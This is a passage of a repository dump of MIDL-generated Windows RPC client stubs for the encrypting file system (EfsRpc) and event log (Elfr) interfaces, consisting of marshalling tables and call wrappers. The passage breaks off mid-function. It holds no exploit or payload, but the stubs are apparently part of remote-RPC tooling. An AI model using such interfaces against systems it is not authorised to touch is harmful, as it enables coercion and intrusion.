*/      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag24_t __midl_frag24 =\n{ \n/* EfsRpcEncryptFileSrv */\n    { \n    /* EfsRpcEncryptFileSrv */      /* procedure EfsRpcEncryptFileSrv */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag23_t __midl_frag23 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag22_t __midl_frag22 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag23\n};\n\nstatic const __midl_frag21_t __midl_frag21 =\n{ \n/* EfsRpcCloseRaw */\n    { \n    /* EfsRpcCloseRaw */      /* procedure EfsRpcCloseRaw */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 1 /* 0x1 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hContext */      /* parameter hContext */\n        &__midl_frag23,\n        { \n        /* hContext */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag16_t __midl_frag16 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag15_t __midl_frag15 =\n{ \n/* EfsRpcWriteFileRaw */\n    { \n    /* EfsRpcWriteFileRaw */      /* procedure EfsRpcWriteFileRaw */\n        (NDR64_UINT32) 17317952 /* 0x1084040 */,    /* explicit handle */ /* IsIntrepreted, pipe, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hContext */      /* parameter hContext */\n        &__midl_frag16,\n        { \n        /* hContext */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* EfsInPipe */      /* parameter EfsInPipe */\n        &__midl_frag213,\n        { \n        /* EfsInPipe */\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* pipe, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag11_t __midl_frag11 =\n{ \n/* *EFS_EXIM_PIPE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag213\n};\n\nstatic const __midl_frag9_t __midl_frag9 =\n{ \n/* EfsRpcReadFileRaw */\n    { \n    /* EfsRpcReadFileRaw */      /* procedure EfsRpcReadFileRaw */\n        (NDR64_UINT32) 17317952 /* 0x1084040 */,    /* explicit handle */ /* IsIntrepreted, pipe, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hContext */      /* parameter hContext */\n        &__midl_frag16,\n        { \n        /* hContext */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* EfsOutPipe */      /* parameter EfsOutPipe */\n        &__midl_frag213,\n        { \n        /* EfsOutPipe */\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* pipe, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag4_t __midl_frag4 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag3_t __midl_frag3 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag4\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* EfsRpcOpenFileRaw */\n    { \n    /* EfsRpcOpenFileRaw */      /* procedure EfsRpcOpenFileRaw */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hContext */      /* parameter hContext */\n        &__midl_frag4,\n        { \n        /* hContext */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag398,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef efsrpc_through_pipe_efsrpc_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag9,\n    &__midl_frag15,\n    &__midl_frag21,\n    &__midl_frag24,\n    &__midl_frag28,\n    &__midl_frag56,\n    &__midl_frag56,\n    &__midl_frag62,\n    &__midl_frag67,\n    &__midl_frag83,\n    &__midl_frag120,\n    &__midl_frag113,\n    &__midl_frag120,\n    &__midl_frag130,\n    &__midl_frag146,\n    &__midl_frag153,\n    &__midl_frag162,\n    &__midl_frag171,\n    &__midl_frag177,\n    &__midl_frag186,\n    &__midl_frag188,\n    &__midl_frag195,\n    &__midl_frag210,\n    &__midl_frag230,\n    &__midl_frag230,\n    &__midl_frag241,\n    &__midl_frag251,\n    &__midl_frag262,\n    &__midl_frag270,\n    &__midl_frag277,\n    &__midl_frag300,\n    &__midl_frag321,\n    &__midl_frag341,\n    &__midl_frag351,\n    &__midl_frag361,\n    &__midl_frag369,\n    &__midl_frag378,\n    &__midl_frag384,\n    &__midl_frag394,\n    &__midl_frag397,\n    &__midl_frag421,\n    &__midl_frag423,\n    &__midl_frag436,\n    &__midl_frag443,\n    &__midl_frag452,\n    &__midl_frag459\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC efsrpc_through_pipe_efsrpc_StubDesc = \n    {\n    (void *)& efsrpc_through_pipe_efsrpc___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &efsrpc_through_pipe_efsrpc__MIDL_AutoBindHandle,\n    0,\n    0,\n    0,\n    0,\n    MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& efsrpc_through_pipe_efsrpc_ProxyInfo,   /* proxy/server info */\n    &MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_ExprDesc\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const MIDL_SYNTAX_INFO efsrpc_through_pipe_efsrpc_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ProcFormatString.Format,\n    efsrpc_through_pipe_efsrpc_FormatStringOffsetTable,\n    MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    0,\n    0 ,\n    (unsigned short *) efsrpc_through_pipe_efsrpc_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\nstatic const MIDL_STUBLESS_PROXY_INFO efsrpc_through_pipe_efsrpc_ProxyInfo =\n    {\n    &efsrpc_through_pipe_efsrpc_StubDesc,\n    MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d__MIDL_ProcFormatString.Format,\n    efsrpc_through_pipe_efsrpc_FormatStringOffsetTable,\n    (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax_2_0,\n    2,\n    (MIDL_SYNTAX_INFO*)efsrpc_through_pipe_efsrpc_SyntaxInfo\n    \n    };\n\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-even_c.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-even.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n\n#include \"ms-even_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   683                               \n#define PROC_FORMAT_STRING_SIZE   1829                              \n#define EXPR_FORMAT_STRING_SIZE   1                                 \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Deven_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Deven_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Deven_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Deven_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Deven_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Deven_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\n\nextern const ms2Deven_MIDL_TYPE_FORMAT_STRING ms2Deven__MIDL_TypeFormatString;\nextern const ms2Deven_MIDL_PROC_FORMAT_STRING ms2Deven__MIDL_ProcFormatString;\nextern const ms2Deven_MIDL_EXPR_FORMAT_STRING ms2Deven__MIDL_ExprFormatString;\n\n#define GENERIC_BINDING_TABLE_SIZE   2            \n\n\n/* Standard interface: eventlog, ver. 0.0,\n   GUID={0x82273FDC,0xE32A,0x18C3,{0x3F,0x78,0x82,0x79,0x29,0xDC,0x23,0xEA}} */\n\n extern const MIDL_STUBLESS_PROXY_INFO eventlog_ProxyInfo;\n\n\nstatic const RPC_CLIENT_INTERFACE eventlog___RpcClientInterface =\n    {\n    sizeof(RPC_CLIENT_INTERFACE),\n    {{0x82273FDC,0xE32A,0x18C3,{0x3F,0x78,0x82,0x79,0x29,0xDC,0x23,0xEA}},{0,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    0,\n    0,\n    0,\n    &eventlog_ProxyInfo,\n    0x02000000\n    };\nRPC_IF_HANDLE eventlog_v0_0_c_ifspec = (RPC_IF_HANDLE)& eventlog___RpcClientInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC eventlog_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nstatic RPC_BINDING_HANDLE eventlog__MIDL_AutoBindHandle;\n\n\nNTSTATUS ElfrClearELFW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [unique][in] */ PRPC_UNICODE_STRING BackupFileName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  0,\n                  0,\n                  LogHandle,\n                  BackupFileName);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrBackupELFW( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ PRPC_UNICODE_STRING BackupFileName)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  1,\n                  0,\n                  LogHandle,\n                  BackupFileName);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrCloseEL( \n    /* [out][in] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  2,\n                  0,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrDeregisterEventSource( \n    /* [out][in] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  3,\n                  0,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrNumberOfRecords( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [out] */ unsigned long *NumberOfRecords)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  4,\n                  0,\n                  LogHandle,\n                  NumberOfRecords);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrOldestRecord( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [out] */ unsigned long *OldestRecordNumber)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  5,\n                  0,\n                  LogHandle,\n                  OldestRecordNumber);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrChangeNotify( \n    /* [in] */ IELF_HANDLE LogHandle,\n    /* [in] */ RPC_CLIENT_ID ClientId,\n    /* [in] */ ULONG Event)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  6,\n                  0,\n                  LogHandle,\n                  ClientId,\n                  Event);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrOpenELW( \n    /* [in] */ EVENTLOG_HANDLE_W UNCServerName,\n    /* [in] */ PRPC_UNICODE_STRING ModuleName,\n    /* [in] */ PRPC_UNICODE_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  7,\n                  0,\n                  UNCServerName,\n                  ModuleName,\n                  RegModuleName,\n                  MajorVersion,\n                  MinorVersion,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrRegisterEventSourceW( \n    /* [in] */ EVENTLOG_HANDLE_W UNCServerName,\n    /* [in] */ PRPC_UNICODE_STRING ModuleName,\n    /* [in] */ PRPC_UNICODE_STRING RegModuleName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  8,\n                  0,\n                  UNCServerName,\n                  ModuleName,\n                  RegModuleName,\n                  MajorVersion,\n                  MinorVersion,\n                  LogHandle);\n    return ( NTSTATUS  )_RetVal.Simple;\n    \n}\n\n\nNTSTATUS ElfrOpenBELW( \n    /* [in] */ EVENTLOG_HANDLE_W UNCServerName,\n    /* [in] */ PRPC_UNICODE_STRING BackupFileName,\n    /* [in] */ unsigned long MajorVersion,\n    /* [in] */ unsigned long MinorVersion,\n    /* [out] */ IELF_HANDLE *LogHandle)\n{\n\n    CLIENT_CALL_RETURN _RetVal;\n\n    _RetVal = NdrClientCall3(\n                  ( PMIDL_STUBLESS_PROXY_INFO  )&eventlog_ProxyInfo,\n                  9,\n                  0,\n                  UNCServerName,\n                  BackupFileName,\n                  